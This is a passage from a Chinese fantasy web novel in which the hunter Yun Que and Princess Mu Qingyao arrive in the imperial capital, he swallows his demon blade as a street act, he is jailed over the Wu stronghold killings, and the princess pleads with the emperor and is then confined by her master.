直至从云缺脸上看出刻意隐藏却没怎么藏好的酸溜溜之后,牧青瑶才扑哧一声笑了出来。 “其他事,我都会遵守皇室规矩,唯独选夫君这一点,只能我自己做主。” 牧青瑶郑重的望着云缺,道:“若无良人,本姑娘一生不嫁!” 云缺嘿嘿笑了笑,道:“不知郡主找没找到良人呢。” 牧青瑶没好气的瞪了云缺一眼,道:“没找到!” “郡主还小,慢慢找,以后肯定找得到。”云缺玩笑般的说了句。 灵芸郡主的自主力,云缺不曾怀疑过,牧青瑶绝对是个有主见的女孩,不会唯命是从。 但牧青瑶的身份,带给云缺的压力实在不小。 人家是阜南王之女,皇帝亲口加封的灵芸郡主,地位绝不亚于公主。 自己呢? 草民一个,猎妖为生,最大的抱负是混吃等死。 别说一介平民,哪怕豪门世家的少爷,想娶到灵芸郡主也是痴人说梦。 郡主下嫁的,至少都得王公贵族,甚至皇子。 要知道阜南王是异姓王,与皇室并无血脉关联,皇城里有不少人猜测,认为灵芸郡主是太子妃的不二人选。 容貌倾国倾城,心智超凡绝伦,阅历过人,学问高深,又是天祈学宫的学子,还是司天监监正的亲传弟子,如此一个灵芸郡主,天下间有几人能配得上呢。 云缺也觉得自己好像配不上,所以有些苦恼。 不过云缺有一个好处,只要吃饱,所有苦恼都不算事儿了。 无需开解, 想想猎妖人的身份,自己都不知道能活到什么时候,还苦恼什么呢。 这时手背传来温热,一只葱白小手握住了云缺的大手。 牧青瑶静静望着对面的黑衣少年,语气轻柔而凝重的道: “待到香山红叶尽,宁负如来不负卿。” 云缺大受感动,道:“如来是谁,你欠他很多银子么。” 牧青瑶眨了眨水汪汪的大眼睛,咬牙切齿的又开始掐云缺的手。 吃过包子,牧青瑶带着云缺来到一座园林般的区域。 “此地便是天祈学宫,三天后为入学之日,学宫不问出身,只看能力,许多寒门子弟走出学宫后都可成为一方豪杰,朝中高官出自学宫者比比皆是,我父亲曾经也在学宫求学。” 说完将一个小巧的牌子交给云缺。 牌子是学子身份的证明,出入学宫均需要出示方可。 云缺见牌子上是牧青瑶的名字,不解道: “我用你的身份令牌,难道就能进学宫了?” 牧青瑶摇头道: “这是举荐名额,我是你的举荐人,拿着我的牌子,你可以免于初试,直接进入最后的考核即可,通过后,便是真正的学宫弟子了。” 牧青瑶给云缺详细说了说学宫招收学子的规矩。 第一步是初试,范围极大,天下间所有年轻人均可报名参加,除了大晋,还有不少他国子民。 初试考教的比较繁杂,每一年都不同。 有可能去年考儒家学问,今年考道家至理,来年考刀剑武功。 每年的初试题目,均由学宫先生出题。 一位先生,出一年的考题。 由于学宫分为十二殿,分类本就繁杂,以至于初试的题目年年不同,甚至有些千奇百怪,被称为世间最难的考试之一。 通过初试,才有资格抵达皇城,参加学宫最后的复试。 复试比起初试还要艰难,不过分类明确得多。 学宫十二殿各自设立考场,道门的只考道家学识,儒家的只考圣人学问,武道只考刀剑功夫,简单明了。 牧青瑶所说的学宫名额,其实指的是一个越过初试,直接参加最后考核的资格。 这种举荐资格,唯有学子中的佼佼者才有,至少要在十二殿的各殿当中排列前十才行。 寻常学子,是没有举荐名额的。 当然学宫先生也有名额,不过那是直接成为学子的名额,毕竟先生的举荐分量太重,而且十分罕见。 牧青瑶提醒道: “三天后,学宫十二殿会各设考场,你直接去演武殿报名即可,记得别走错了。” “放心,演武殿嘛,我识字。”云缺收起令牌道。 十二殿的学问,对云缺来说最有用的便是武道,而演武殿,是专门传授武道法门的地方。 嘱咐完学宫事宜,两人继续在长街上闲逛,享受着难得的宁静时光。 直至长街尽头,牧青瑶停下脚步。 眼前,是一座高大的门楼,金碧辉煌,其上雕刻着一头飞龙,惟妙惟肖。 站在牌楼下,牧青瑶略带自豪的道: “这座牌楼,便是伏妖阵的阵基,皇城里总共有四座,建在东南西北四个方位,大阵全名为四方金龙伏妖阵,若有妖邪出没,牌楼内封印的阵道之力便会化作金龙,诛杀妖物!” 云缺仰起头,望向宏伟的牌楼。 此刻,异象突起。 那牌楼下方忽然升腾起一层光晕,瞬间将牌楼笼罩,其上雕刻的金龙宛若活了过来一样,竟凝聚出一颗狰狞龙首! 龙首之上,睁开一双巨眼,死死盯住了下方的云缺。 四方金龙伏妖大阵,被莫名引动,阵道气息瞬间席卷全城! 当大阵开启的同时,天祈学宫、皇宫深处、司天监,三个不同的区域内,有三双眼睛相继睁开。 第71章 吞刀入腹 突如其来的意外,云缺丝毫没有准备。 正欣赏着大名鼎鼎的伏妖阵呢,结果大阵居然被引动。 云缺第一时间认为有强大的妖物出没。 可四周除了行人之外,没有丝毫妖气存在,更别提妖物的影子。 当金龙完全凝聚出硕大的本体,居高临下悬在面前的时候,云缺这才确定。 好像是自己,引动了伏妖阵! 我又不是妖! 云缺很想解释一番,咱绝对是活人,如假包换。 可大阵凝聚出的金龙看样子听不懂解释,浑身金光暴起,如同夜幕里升腾起一轮大日! 牧青瑶惊得俏脸苍白。 她曾遍寻灵花,为了打造出伏妖大阵,可她从未见过大阵完全催动的模样。 因为自从大阵笼罩,城内就再无妖物出没。 强大阵法的气息波动,足以让妖物避而远之,根本不敢靠近。 小郡主很快联想到云缺妖武者的身份。 云缺的身上,融合着一道强大的妖魂,正是这道妖魂的存在,激发出伏妖阵的威能! 想到这里,牧青瑶大惊失色。 伏妖大阵的恐怖,绝非等闲,据说连高等妖族都可轻易灭杀,何况云缺一个八品武夫。 这时候无法求援,更无法逃离,伏妖阵笼罩整个皇城,根本逃不出去。 面对着暴起的金龙,牧青瑶始终紧紧抓着云缺的手,半刻不曾松开。 生死与共! 金龙的出现,带来了磅礴法力,形成狂风四散。 路上的行人无不跪地甚至趴在地上,头都抬不起来,更别提看向那金龙。 迎着风暴般的庞大法力,云缺始终昂着头。 单手握住刀柄。 让他坐以待毙,那是不可能的。 哪怕明知必死,云缺也没有等死的习惯。 既然伏妖大阵认定自己是妖,那便领教一番大阵之威! 云缺做好了死战的准备。 金龙盘旋而起,居高临下,口中发出一道无声咆哮,就要俯冲而下。 然而云缺等来的,只有金龙咆哮形成的狂风。 那金色巨龙竟定在半空,一动不动。 很快,金龙开始消散,化作一片金光没入牌楼当中。 原地安静了下来。 伏妖大阵停止运转,阵道气息彻底消失。 等了好一阵儿,确定金龙回去了,云缺暗暗松了口气。 那金龙的恐怖,比起白厌与苏鸿山可强得多,估计困杀四品都有可能。 真要对自己绞杀,很容易今天死在此地。 云缺心中生疑。 不知大阵为何停止。 难道伏妖阵察觉到自己是活人了? 牧青瑶急忙拉着云缺远离了牌楼,走出几条街,小郡主的脸色渐渐缓和过来。 “伏妖阵原来如此可怕,大阵怎么会启动。”牧青瑶疑惑道。 “可能年久失修,出故障了,你们司天监是不是布完大阵就不管了。”云缺道。 “怎么可能不管,大阵运转无时无刻都有人检测,也许这次是意外。”牧青瑶蹙眉道。 “天祈城好像不太欢迎我这个乡下人啊。”云缺自嘲道。 “你要去的地方是学宫,求的是学问,不是在天祈城里做个地主。”牧青瑶道。 “郡主的道理总是随手拈来,我看你以后也能在学宫里做个先生。”云缺笑道。 “等我成了先生,第一个管教你这个淘气的学生。”牧青瑶调皮一笑。 经历过刚才的危机,两人再次轻松下来,牵着手,走在热闹的街头。 伏妖大阵的一瞬变化,并未给这座不夜之城带来多少躁动,街上的行人半点没少,仍旧熙熙攘攘,繁华热闹。 然而在大阵启动之际,那三双相继睁开的眼眸,却没有再次合拢。 一双眼,来自司天监最高处的观星台,深邃如海。 一袭青衣身影盘坐于此,遥望星空,仿佛看遍沧桑。 一道低语悠悠响起。 “斗转星移,天地为棋。” 一双眼,来自皇宫深处僻静的缥缈阁,双瞳剪水。 一道曼妙身影盘坐于蒲团之上,长发如瀑,精致的五官媚态天成。 一句空灵自语,带着一丝疑惑缓缓响起。 “大晋气运变幻,果然天道难测。” 一双眼,来自学宫后方一座小茅屋,眸光浑浊。 一道苍老的身影盘坐在简单普通的木榻上,普通如垂暮老者。 一句叹息幽幽而出。 “起风了……” …… 皇城街头,云缺与牧青瑶正逗留在一个热闹的广场。 这里有一队马戏班正在表演。 耍猴的,训鹰的,老虎钻火圈,还有胸口碎大石,口喷烈焰,吞剑入腹,各种表演引得围观众人惊呼连连,叫好不断。 每当一个表演结束,马戏班的班主都会拿着个铜盘子绕场一周,求赏钱。 看表演是免费的。 若有人觉得表演精彩,往往会给出几个铜板,也有些富贵人家不在乎小钱,直接赏点碎银子,几场表演下来,马戏班也能赚点小钱,不算白忙活。 尤其这里是皇城,不差钱的人多了,云缺看到旁边有个小男孩在看完老虎钻火圈之后,一边拍手叫好,一边扔出一两银子。 云缺看得眼睛都直了。 皇城里的钱,这也太好赚了吧! 耍点把式就能赚上一两银子,我在藏石镇辛辛苦苦验一堆尸体也未必赚得上这么多! 老虎钻个火圈而已,多说烧掉点虎毛,验尸没准还能见到鬼呢! 云缺面带笑容,朝着旁边的小男孩道: “老虎多没意思,想不想看虎妖钻火圈啊,钻完了火圈再扒虎皮抽虎筋,最后烤虎肉,一点不浪费,不用多,只收你二两银子,让你看个够。” 小男孩想了下云缺描述的血腥场面,顿时小嘴一咧,哇地哭了出来。 旁边的贵妇人一边哄孩子,一边瞪着云缺,要不是见云缺背着刀,这女人都想上去挠两把。 挺大的人了,还吓唬孩子! 牧青瑶一脸无奈的把云缺拉走。 “不就老虎钻火圈嘛,浮萍山有的是老虎,见我就跑,早知道皇城里这也能赚钱,我何必满山遍野的猎妖,抓点老虎来赚钱多好,实在不行让萍山君亲自上台表演,不信没人看。” 云缺不无感慨的道:“原来城里人的钱这么好骗,要让梅钱知道,他肯定两眼冒光。” 牧青瑶苦笑道:“等我回到王府,先把三千两银子给你。” 云缺坏笑道:“那剩下的呢。” “学宫的名额已经给你了呀。”牧青瑶说完忽然想到了什么,俏脸一红,羞涩道:“那件事,得过阵子才行,我、我还没沐浴呢。” “不许耍赖。”云缺笑道。 “答应你的报酬,肯定给你就是了。”牧青瑶没好气的道。 离开老虎台,两人正好走到吞剑入腹这边。 只见一个汉子正在耍着一把长剑,挽了几个剑花儿后,一声大喝,将剑尖一点点扎进口中。 围观众人立刻惊呼四起。 等汉子慢慢将长剑全都吞下,又一点点抽了出来,再张开大嘴让观众看清楚,没有任何伤口。 “这个我也会。”云缺抱着肩膀不以为意的道。 “谁都会,他用的剑有机关,可以伸缩,没人能将真正的长剑吞入腹中。”牧青瑶看穿了表演者的把戏。 “我不用机关。”云缺道。 “你骗人,我才不信。”牧青瑶嘟起小嘴儿,现出一副可爱模样。 “让郡主殿下开开眼,今晚我也赚点钱。” 云缺呵呵一笑,一步登上表演者搭建的小木台。 吞剑的壮汉见有人入场,愣了下道:“这位小兄弟,有什么事儿吗。” “借贵宝地一用,我来表演一番吞刀入腹。”云缺说完抽出长刀,往下一按,直接扎进木台。 围观人群见又有人表演新的,立刻掌声四起。 那壮汉的脸色可变了。 干他们这行,三教九流都得打交道,砸场子的根本不算事儿。 可今天来的这位,根本不是砸场子,而是来玩命的。 壮汉一眼看出云缺那可是真刀,没机关的! 壮汉一把拉住云缺,低声道: “小兄弟,是不是遇到什么过不去的坎儿了,缺钱你说一声,我们这些跑江湖的虽然没什么积蓄,多少也能帮一把,你千万别想不开啊!” “老兄误会了,我真是来表演的,就凭你这一番话,接下来我赚的钱,咱们一人一半。”云缺兴致高昂的道。 “别啊!”壮汉的脸都白了,急急劝道:“兄弟呀,我们是卖艺的,不是卖命的!你拿的是真家伙,吞下去要死人的!” “放心,死不了。” 云缺说完朝着周围观众拱手抱拳,高声道:“有钱捧个钱场,没钱捧个人场,诸位上眼了!” 说罢不管那壮汉,拿起长刀,直接吞下。 壮汉表演的吞剑入腹,得一点点的吞,云缺倒好,一口气扎了下去。 他这番举动,不仅周围观众惊出一身冷汗,连牧青瑶都紧张着捏起小手。 小郡主可不知道云缺还有这种本事。 当云缺仰着头咬着刀柄,示意自己无碍之际,周围顿时响起如雷的掌声。 “好像是真刀!” “他怎么做到的!” “精彩!实在精彩!” “今晚这个最精彩了,值一两银子!” “我给二两银子!” 哗啦啦,不等班主求赏钱,铜钱与碎银子纷纷被扔在台上。 牧青瑶无可奈何的摇着头,埋怨云缺太乱来了,可小郡主更加好奇的是,云缺到底是怎么吞的刀呢。 那可是货真价实的斩妖刀,居然说吞就吞下去了。 这时让牧青瑶更加震撼的一幕出现。 不知是云缺表演得起兴,还是嫌赚的银子不够多,云缺突然抬手,一拍刀柄。 直接把整个长刀全都吞了下去。 一点不剩! 这下周围一片寂静。 观众们纷纷张着大嘴,满脸震惊。 旁边的壮汉直接看傻了。 我们吞剑入腹,那是吞的机关剑,而且吞完了得拿出来。 你这不是吞剑,你是吃刀啊! 一把长刀,整个都吃进去了! 这还是人吗! 云缺喉咙滚动了一下,没事儿人一样,好像刚才吃的不是刀,而是吃了个包子。 再次拱手,云缺让壮汉清点一下收入,一人一半。 云缺的确是表演。 别的刀,他可吞不下去。 不过自己的妖刀,吞下去轻而易举。 妖刀与云缺本命相连,相当于云缺身体的一部分,吞入腹中会变化成绣花针大小,整个咽下去也不费事。 平常由于经常用刀,云缺才将妖刀背在身上,如果长时间不用,他会吞入腹中,方便携带。 既然到了皇城要去学宫,总不能整天背着刀,自然要收起来。 云缺的刀是无法离身的,放在外面并不安全,真要刀断了,自己的命也就没了,只能带在身边。 正好收个刀还能赚钱,何乐而不为。 分完了钱,云缺在壮汉惊恐的目光下跳下木台。 拿着几两碎银子,云缺正想跟牧青瑶炫耀一番的时候,周围人群忽然被分开,冲进来一队官兵。 为首之人神色冷冽,手里拿着一张画像。 对照一番后,此人一指云缺,吩咐道:“没错了,就是他!给我拿下,押入天牢!” 第72章 帝王一怒 一众官兵刀剑出鞘,将云缺团团围住。 周围的人群吓得纷纷远离。 这种架势在皇城里并不多见,那么多官兵出动,定是缉拿要犯。 牧青瑶和云缺都觉得莫名其妙。 刚进城而已,怎么被官兵盯上了? 云缺朝着为首的将领拱了拱手,道:“这位大人,是不是认错人了,我可是守法良民,今天刚到皇城,吃饭给钱,睡觉住店,从不惹事。” 那将领冷笑一声,展开了手里的画像道: “好一个从不惹事!你在乌鸡镇残杀三百一十九人!通缉令在此,还不束手就擒!” 云缺仔细看了看,对方拿的画像果然是自己,画得十分清晰。 云缺没想到自己在黑风寨住了一个月,乌家寨的事都传到皇城,连通缉令都下来了。 “乌家寨里没有好人,他们乌家拿活人喂妖,我是为民除害。”云缺无奈道。 “乌家有没有好人我不管,本官只知道你是朝廷通缉的重犯!”将领沉声道。 斩杀乌家数百人之事,一时解释不清楚,云缺说什么人家也不信。 牧青瑶急忙出面,直接取出阴阳令,亮明身份。 那将领一见令牌,立刻躬身施礼,拜见郡主。 “乌家寨之事有隐情,我可以作证,云缺并未乱杀无辜,还望大人通融一二。”牧青瑶客气的道。 “下官奉命缉拿重犯,职责在身,无法通融,还望郡主见谅,郡主若要求情,可以去皇宫面圣,亦可去刑部见我家大人,此人今日必须缉拿归案。”将领丝毫情面不给。 牧青瑶没了办法。 在藏石镇或者百玉城那种小地方,郡主的身份可以轻易调动官兵协助。 可这里是天祈城,对方是刑部的人,缉拿重犯这种事,一个灵芸郡主的面子可没什么份量。 为了不让牧青瑶为难,云缺干脆的道: “我跟他们走一趟就是了,郡主去找皇帝说明真相,替我申冤。” 牧青瑶抿着唇,点头道:“我马上去面圣,你别急,很快就能放你出来!” 杀人是重罪。 尤其连杀了三百一十九人,如此罪名若无法开脱,便是凌迟的死罪。 眼看着云缺被五花大绑押去天牢,牧青瑶恼怒的一跺脚,匆匆赶往皇宫。 刚到皇宫门口,正好看见白厌出来。 “郡主来得正好,陛下刚刚还询问你在何处,怪我没把郡主送到皇宫,龙颜大怒啊。”白厌苦笑道。 “本想明日再来面圣,怕打扰了陛下休息。”牧青瑶神色焦急的道:“白将军可知云缺的通缉令是何时下发的,乌鸡镇一案又是谁负责调查。” 白厌闻言怔了下,摇头道: “云缺被通缉了?这事我不知情,若有通缉令,那应该是刚刚才出的,之前我没见过,至于调查血案的人,郡主可去刑部询问。” 牧青瑶点点头,急着进皇宫。 “郡主是想给云缺求情。”白厌忽然说了句。 牧青瑶停住脚步,道:“云缺没有枉杀无辜,我去向陛下说明真相。” 白厌犹豫了一下,压低声音道: “若此事不急,郡主最好今天别提,改日再上奏也不迟,今天陛下的心情不大好。” “皇宫里出了什么事?”牧青瑶问道。 白厌缓缓摇头,他也不知内情,但龙颜不悦可是真的。 今天的皇帝,脾气很大,以白厌的眼力能看得出皇帝心头的暴躁。 所以他才建议牧青瑶将此事压后,省得惹恼了皇帝,反而对云缺更加不利。 可牧青瑶哪里等得了。 三天之后就是学宫考核,错过了就要再等一年。 牧青瑶整理一番衣着,就此进宫。 灵芸郡主拥有特权,可随意出入皇宫大内,无需禀报,不像白厌,得等皇帝召见才行。 御书房内,牧青瑶见到了当今晋国的皇帝,殷子受。 这位皇帝四十多岁,正值壮年,身形高大,鹰钩鼻,气质沉稳,目光有些阴沉。 由于早已入夜,皇帝身着便装,未穿龙袍,即便如此,仍旧一身帝王威仪。 殷子受正在御书房内观看奏折,一双长眉微微锁着,看得出心情不佳。 见到牧青瑶,殷子受的神色变得好转几分,现出微笑道: “你这丫头果然智计百出,居然能想到烽火戏诸侯这种主意,就不怕朕治你个擅自点燃烽火台的罪名吗。” “臣女为求自保,才想出如此下策,惊扰了陛下,特来请罪。” 牧青瑶恭敬的跪拜后,微微垂着头说道。 一国之君,不可无礼,能在御书房面见皇帝已经是特别的殊荣了。 殷子受哈哈一笑,道: “既然为求自保才惹的祸,朕若责罚,岂不是视你的安危于不顾,到时候你爹还不得拿朕这个皇帝是问,也罢,朕就当一回诸侯,被你这丫头以烽火戏耍一次。” 皇帝这番话,听得出对灵芸郡主宠爱有加。 牧青瑶连忙躬身拜谢,口称谢主隆恩。 随后皇帝询问了一番红莲教,牧青瑶将所知的消息如实道出。 “邪门歪道,也敢谋害大晋郡主,岂有此理!来人,命刑部彻查此事,将那红莲教的贼人一网打尽!” 皇帝下令,立刻有太监拟旨,连夜通知刑部。 刑部更不敢怠慢,大半夜的就开始调动人手,追查与红莲教相关之事。 帝王一怒,伏尸百万。 一道圣旨,便调集了上万人马,不将红莲教铲除,皇帝的脸面可没地方放。 殷子受亲自册封的郡主,又是万民爱戴的灵芸郡主,若在大晋地界被暗杀,皇室的颜面将扫地。 不仅为了牧青瑶的安危,殷子受此举,也是在做给阜南王看。 随后牧青瑶先道出军弩流失一事,提及了黑风寨,道出八山城的接头人胡子,最后说起乌家寨里也出现为数不少的军弩。 一听军弩之事,皇帝的脸色变得更阴沉了。 军械之物,国之重器,一旦流失出去,损失的不但是国库,还有国运。 殷子受第二道圣旨紧接着发出,连夜调八山城守将苏鸿山进宫。 苏鸿山刚回到八山城,屁股还没坐热乎呢,接到圣旨后又星夜兼程的赶往皇城,要不是他有匹好马,这番折腾都受不了。 牧青瑶很聪明。 先把罪名给乌家寨扣好,言明乌家人持有军弩,并且私自豢养妖兽以活人喂食,又说出乌家暗中打造上百战巫图谋不轨。 等牧青瑶详细说完,皇帝的脑子里已经形成了一个画面。 乌家寨拥兵自重! 军弩,养妖,打造战巫,这种事能是自保吗,明显是要谋反呐! 最后,牧青瑶才将云缺以一己之力,铲除了乌家寨的事说出来。 牧青瑶始终在察言观色。 果然见皇帝听闻乌家寨已经覆灭后,神态从愤怒缓和了过来。 “你说的那个年轻人,居然有如此战力,实在难得啊。” 殷子受罕见的赞扬了一句,唏嘘道:“一己之力摧毁一座匪寨,他让我想起了你爹年轻的时候,那是真正的一人当关万夫莫开啊。” “陛下,何止难得!云缺有勇有谋,年纪轻轻便战力无双,绝对是栋梁之才,而且他即将参加学宫考核,有十足把握能去学宫求学。” 顿了一顿,牧青瑶继续道:“可是云缺刚刚被刑部押进天牢。” 皇帝闻言诧异道:“他犯了何罪?” 牧青瑶道:“刑部下发通缉令,因为云缺杀害乌家寨三百一十九名妖人而被通缉,陛下,臣女可以用生命作证,云缺杀的均为该死之人,他非但无罪,反而有功!” 牧青瑶特意称呼乌家寨为妖人,就是要营造乌家寨的邪恶,加上之前如实的描述,牧青瑶有绝对把握求皇帝赦免云缺。 殷子受点了点头,没立刻开口,而是深深的看了牧青瑶一眼。 “大晋王朝不会纵容任何一个妖人,也不会冤枉任何一个好人,此事刑部会调查清楚,若那云缺当真无罪,自可免于牢狱之灾。”皇帝轻描淡写的说了一句。 牧青瑶大为意外,急忙道:“陛下!云缺没有枉杀无辜,我……” “好了!你一个女儿家,无需掺和这等凶案,既然平安归来,便回去好好休息,红莲教尚未铲除之前,别离开皇城,不然你爹要担心了。” 皇帝摆了摆手,示意牧青瑶退下。 牧青瑶心头焦急,但她知道皇帝下了逐客令,再多说反而会触怒皇帝,只好躬身施礼后退下,连萍山君的行妖令与常威的无罪身,也被她暂时压下没提。 白厌说得没错。 皇帝今天果然心情不好,牧青瑶知道这种情况下,索要封赏并不明智。 走到门口,听到皇帝的声音传来。 “对了,明天你去瞧瞧宣儿,他最近身体不适,看到你,病就好了一大半,你不在皇城,他整天心神不宁的。” 皇帝口中的宣儿,名为殷宣,是当朝太子。 牧青瑶深吸一口气,答应后离开了皇宫。 至此,牧青瑶终于知道了皇帝为何没有立刻赦免云缺。 因为自己! 牧青瑶暗暗自责。 刚才在皇帝面前太过心急于救下云缺了,关心则乱,以至于说出用生命担保这种罕见的说法。 帝王者,哪个能是泛泛之辈,窥探人心轻而易举。 皇帝应该看出了自己对云缺超乎寻常的关切,所以才会不喜,才没有立刻赦免。 牧青瑶与太子同岁,两人可以说是一起长大的,儿时是玩伴。 随着渐渐长大,牧青瑶察觉到皇帝这些年有意促成自己与太子,而她与太子之间也是满朝文武最看好的一对。 在所有人眼里,灵芸郡主与太子才是郎才女貌,天生一对。 可牧青瑶对太子根本没有什么感情可言,更不喜欢太子那种脾气阴柔又喜欢算计的人。 郡主的喜怒哀乐,对皇权而言毫无影响,因为皇帝才是大晋国的主宰。 既然皇帝看好灵芸郡主与太子这一对,自然不会允许其他男人染指牧青瑶,所以才会对云缺的处境置之不理。 死罪倒是谈不上。 刑部肯定会调查乌家寨一事,可这段时间究竟多长,没人知道。 十天半月有可能,一年半载也有可能。 拖得时间越长,云缺被关在天牢的时间就越久,三天后的学宫考核赶不上,没准连明年的考核都未必能赶上。 离开皇宫后,牧青瑶心急如焚。 很快小郡主冷静下来。 她想到一个唯一能救出云缺的人,于是匆匆赶往司天监。 牧青瑶走后,御书房里变得安静而压抑。 皇帝的脸色,阴沉如水,整个人显得躁动不安,不知在为何事而烦恼。 脚步声传来,一名老太监的身影出现在书房内。 “怎么样,可有线索?”殷子受略显焦急的问道。 “回禀陛下,所有活口已经全查过了,暂时没有线索,剩下的,只有那具尸体。”老太监始终躬着身,垂着头。 “废物!” 殷子受抓起桌上的玉石茶盏,狠狠摔碎,低吼道:“继续查!东西找不回来,你提头来见!” “陛下息怒,老奴舍掉这条老命也会为陛下追回失窃之物。”老太监的身子躬得更低。 殷子受深深吸了口气,沉声道: “去吧,切记用些心腹之人,消息不可外泄,那些活口,你知道该如何处置。” “陛下放心,知道这件事的,只能是死人,老奴告退。” 老太监始终没抬头,弯着腰,退出了御书房。 请记住本书首发域名:99。鸟书网手机版阅读网址:wap.99 第73章 消失的妖魂 司天监,在晋国有着特殊的含义。 司天监的人没有真正意义上的官职,即便监正,也仅仅挂着闲职而已。 但司天监的地位,却凌驾在三司六部之上。 原因无他,只因司天监专门处理大晋之内所有与妖邪相关的诡案奇案,是追杀妖邪的特殊机构,直属皇帝亲自管辖。 司天监有权调动六部,甚至是禁军。 无需多言,只说一句协助查案,无论六部还是禁军,都得乖乖听从调遣。 布置在皇城的伏妖大阵,便是司天监打造而来,并负责监管。 司天监地位崇高,还有一个原因,那就是当代监正吕青,大晋三柱国之一。 牧青瑶此刻唯一能想到的强援,就是她的师尊。 小郡主急匆匆赶到司天监的时候,已经是午夜了。 司天监内灯火通明,一些小吏正忙忙碌碌。 司天监分为多个区域。 有研制法阵的密室,有祭炼法器的大殿,有调配丹药的香堂,有关押罪犯的牢狱,甚至还有存放妖物尸体用来研究的尸房。 牧青瑶是监正亲传弟子,到了司天监与回家一样,自然畅通无阻。 她找人打听了一下,得知监正在观星台,立刻跑向楼上。 刚上楼梯,迎面下来一人。 “小师妹!你怎么没等我呢。” 下楼的,正是在野外寻找了半宿,刚刚回来的李玄驹。 “抱歉啊三师兄,白厌将军护送我回来,所以没等你。”牧青瑶歉意的道。 “白厌啊,那家伙挺讨人厌的,以后少理睬他,对了,师兄的画地为牢威能不赖吧,那贼人肯定被困住半天!”李玄驹洋洋得意的道。 牧青瑶尴尬了一下,没好意思明说你的画地为牢片刻就被破了。 “幸亏师兄出手,师兄的法力明显又进一步。” 牧青瑶毫不吝啬的夸赞。 她很清楚这位三师兄的脾气,最喜欢别人夸,越夸越找不到北。 “嘿嘿!小手段而已,师兄的传送阵那才叫一绝呢!等我完成手头儿这套十连传送阵,带师妹去兜兜风!”李玄驹得意道。 “师兄的连续传送阵,距离会变远么?”牧青瑶问了句。 传送阵这种法阵,功效只有一个,那就是跨越空间达到远距离传送的单一目的,传送得越远,越消耗法力。 “不会,距离和单次传送阵一样。”李玄驹摇头道。 “连续传送十次,和传送一次有什么区别。”牧青瑶不解道。 “区别大了!小师妹想想看,从皇城一次传送到八山城,是不是什么景色都看不到?多无聊!我这套十连传送阵,可在途经之地停顿十次,能看到十种不同的景致!比起单次传送阵,十连传送阵简直打破了传送阵的桎梏!传送的途中还能看风景,你说绝不绝!” 李玄驹傲然道。 牧青瑶听得瞠目结舌,最后只能给出一个字的赞美。 “绝!” 见牧青瑶匆匆要上楼找监正,李玄驹的脸色变得奇怪起来,道: “小师妹啊,师尊知道你回来了,说你一路凶险返回皇城居然不先到司天监,反而在城里乱跑,所以罚你去地牢面壁思过,十天之后才能出来。” “什么!”牧青瑶大惊失色,道:“我没乱跑!我去找师尊评理!” 李玄驹身后走出两名面无表情的司天监弟子,不容分说架着牧青瑶往地牢走。 “师尊刚吩咐我下来押你去地牢,小师妹先委屈委屈,在里面看看书,休息休息,想吃什么好东西,师兄去给你买来。”李玄驹苦着脸道。 他也不想把牧青瑶关起来,可监正的命令,他不敢不听。 地牢位于司天监最高的观星台下,昏暗阴冷,只有几盏小油灯。 牧青瑶被关进来后,急得直跺脚。 皇帝那边拖着不肯放云缺,师尊这边又罚自己禁足,牧青瑶此刻叫天天不灵,简直欲哭无泪。 禁足十天,到时候学宫考核早结束了! “师尊!放我出去吧!我有急事呀!” “师尊行行好,让我见你一面再关我也行呀!” “人命关天!师尊救命啊!” 牧青瑶在地牢里大喊,可惜外面一点声音都没有。 正焦急的喊着呢,牧青瑶忽然听到身后传来一种野兽般的低吼。 她回头一看。 昏暗的角落里,有一双遍布血丝的眼睛正盯着自己。 牧青瑶吃了一惊,连忙闭口。 眼睛的主人从黑暗里现身。 是个一身黑衣的女人,头发散乱,脸色十分苍白,乍一看好像个野鬼似的。 黑衣女人脚下没动,身子却瞬间出现在牧青瑶近前,几乎贴着牧青瑶的身体,直勾勾盯着小郡主。 “大、大师姐!” 牧青瑶面带苦涩,声音放得很轻的道:“你还在这里啊。” 女人盯着牧青瑶看了好一会,从喉咙里发出嗯的一声,鬼魅般退回到阴影里,再无声息。 牧青瑶撅起小嘴儿,无力的坐了下去。 她不敢再喊师尊了。 因为大师姐最厌恶吵闹,喜欢安静。 这位大师姐凶得很。 整个司天监上上下下,基本所有人都被她揍过。 而且下手极狠,经常伤人,所以总被监正关进地牢面壁思过。 牧青瑶上次离开皇城的时候,这位大师姐就在地牢里关着,这都几个月了,她回来,大师姐还没出去呢。 牧青瑶可不想挨大师姐的揍。 真要揍一顿,两月别想下床。 “云缺,你千万不能出事呀。” 小郡主在心里暗暗祈祷,没了任何办法。 倒不是怕云缺被杀头,因为牧青瑶很清楚皇帝不是昏君,乌家寨的事,早晚能水落石出。 她怕的,是云缺冲动,动手强闯天牢。 真要到了那一步,天祈皇城就没有云缺的立足之地了。 牧青瑶的担忧不无道理,以云缺的战力,天牢肯定是关不住的。 但牧青瑶忘了一点,云缺也是混过官场的人。 虽然只是个小小仵作,好歹也算半个官差。 闯天牢的罪名,云缺哪能不懂。 除非真到了必死的那一步,云缺才会杀出天牢,否则就是换个地方睡觉而已。 平常猎妖,荒山野地里一样睡,何况有屋有床的天牢。 到了天牢,云缺只当到了免费的客栈,毫不在意。 天牢位于刑部管辖的范围之内,占地极大,关着的囚犯多达上千。 几乎人满为患。 云缺被戴上镣铐,锁住了双手,随身包裹也被扣押。 连刀鞘都被收走。 好在之前把长刀吞入腹中,要不然在天牢里云缺还得表演一次吞刀入腹。 牢房里还算干净,铺着一层厚厚的稻草。 两张简单的木床,一个夜壶,除此之外别无他物。 当云缺被关进牢房后,发现里面有人。 天牢里的牢房修建得很宽敞,囚犯多的时候,便会两人一间。 牢门开关的响动,吵醒了里面的囚犯,这人骂骂咧咧揉着眼睛站了起来。 是个三十来岁的汉子,个子不高十分敦实,看样子有把子力气。 等狱卒走后,汉子斜着眼瞥向云缺,撇嘴道: “新来的,你吵到我睡觉了!” 云缺随口道:“那你继续睡。” “睡不着了!”汉子捏着拳头,示威般说道:“犯了什么事儿啊小子。” “刚进城,骗了点小钱儿。” 云缺没心思理睬对方,把之前表演赚钱说成骗点小钱儿。 一听这话,汉子立刻来了精神,冷笑道:“看来你是个惯犯啊,能骗钱的肯定口舌如簧,来,给大爷唱个小曲儿听听!” 云缺无奈的转向对方,道:“你睡不着是吧,用不用给你唱个摇篮曲。” “行啊!唱什么都成,有意思就行!”汉子兴致勃勃的道。 “摇篮曲不会,我是干白事儿的,只会唱送葬曲,要么给你来一首?”云缺道。 汉子听出不对味了,将拳头捏得嘎巴作响,走向云缺道: “想找茬是不是!今儿大爷让你知道知道,天牢里的拳头有多重!” 嘭! 